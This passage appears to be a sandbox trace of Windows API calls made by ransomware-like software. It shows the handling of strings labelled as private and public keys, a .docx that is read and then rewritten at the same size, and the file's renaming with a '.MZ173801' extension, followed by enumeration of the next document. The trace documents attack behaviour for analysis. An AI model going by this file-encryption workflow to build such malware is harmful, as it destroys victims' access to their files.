sKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.482] GetCurrentThreadId () returned 0xab4 [0171.482] GetCurrentThreadId () returned 0xab4 [0171.482] GetCurrentThreadId () returned 0xab4 [0171.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.483] GetCurrentThreadId () returned 0xab4 [0171.483] GetCurrentThreadId () returned 0xab4 [0171.483] GetCurrentThreadId () returned 0xab4 [0171.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.484] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.484] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.485] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x186f8 [0171.485] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.485] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x186f8, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x186f8, lpOverlapped=0x0) returned 1 [0171.486] CloseHandle (hObject=0x27c) returned 1 [0171.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.491] WriteFile (in: hFile=0x27c, lpBuffer=0x24e2e00*, nNumberOfBytesToWrite=0x186f8, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24e2e00*, lpNumberOfBytesWritten=0x19f48c*=0x186f8, lpOverlapped=0x0) returned 1 [0171.494] CloseHandle (hObject=0x27c) returned 1 [0171.494] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx.mz173801")) returned 1 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] GetCurrentThreadId () returned 0xab4 [0171.495] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aff5cb0, ftCreationTime.dwHighDateTime=0x1d5ee88, ftLastAccessTime.dwLowDateTime=0xf031e2a0, ftLastAccessTime.dwHighDateTime=0x1d5ec69, ftLastWriteTime.dwLowDateTime=0xf031e2a0, ftLastWriteTime.dwHighDateTime=0x1d5ec69, nFileSizeHigh=0x0, nFileSizeLow=0xb766, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="NnWEZGpZkAAsmio3W.pptx", cAlternateFileName="NNWEZG~1.PPT")) returned 1 [0171.495] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.495] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aff5cb0, ftCreationTime.dwHighDateTime=0x1d5ee88, ftLastAccessTime.dwLowDateTime=0xf031e2a0, ftLastAccessTime.dwHighDateTime=0x1d5ec69, ftLastWriteTime.dwLowDateTime=0xf031e2a0, ftLastWriteTime.dwHighDateTime=0x1d5ec69, nFileSizeHigh=0x0, nFileSizeLow=0xb766)) returned 1 [0171.495] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\nnwezgpzkaasmio3w.pptx")) returned 0x20 [0171.495] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\NnWEZGpZkAAsmio3W.pptx", dwFileAttributes=0x80) returned 1 [0171.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4G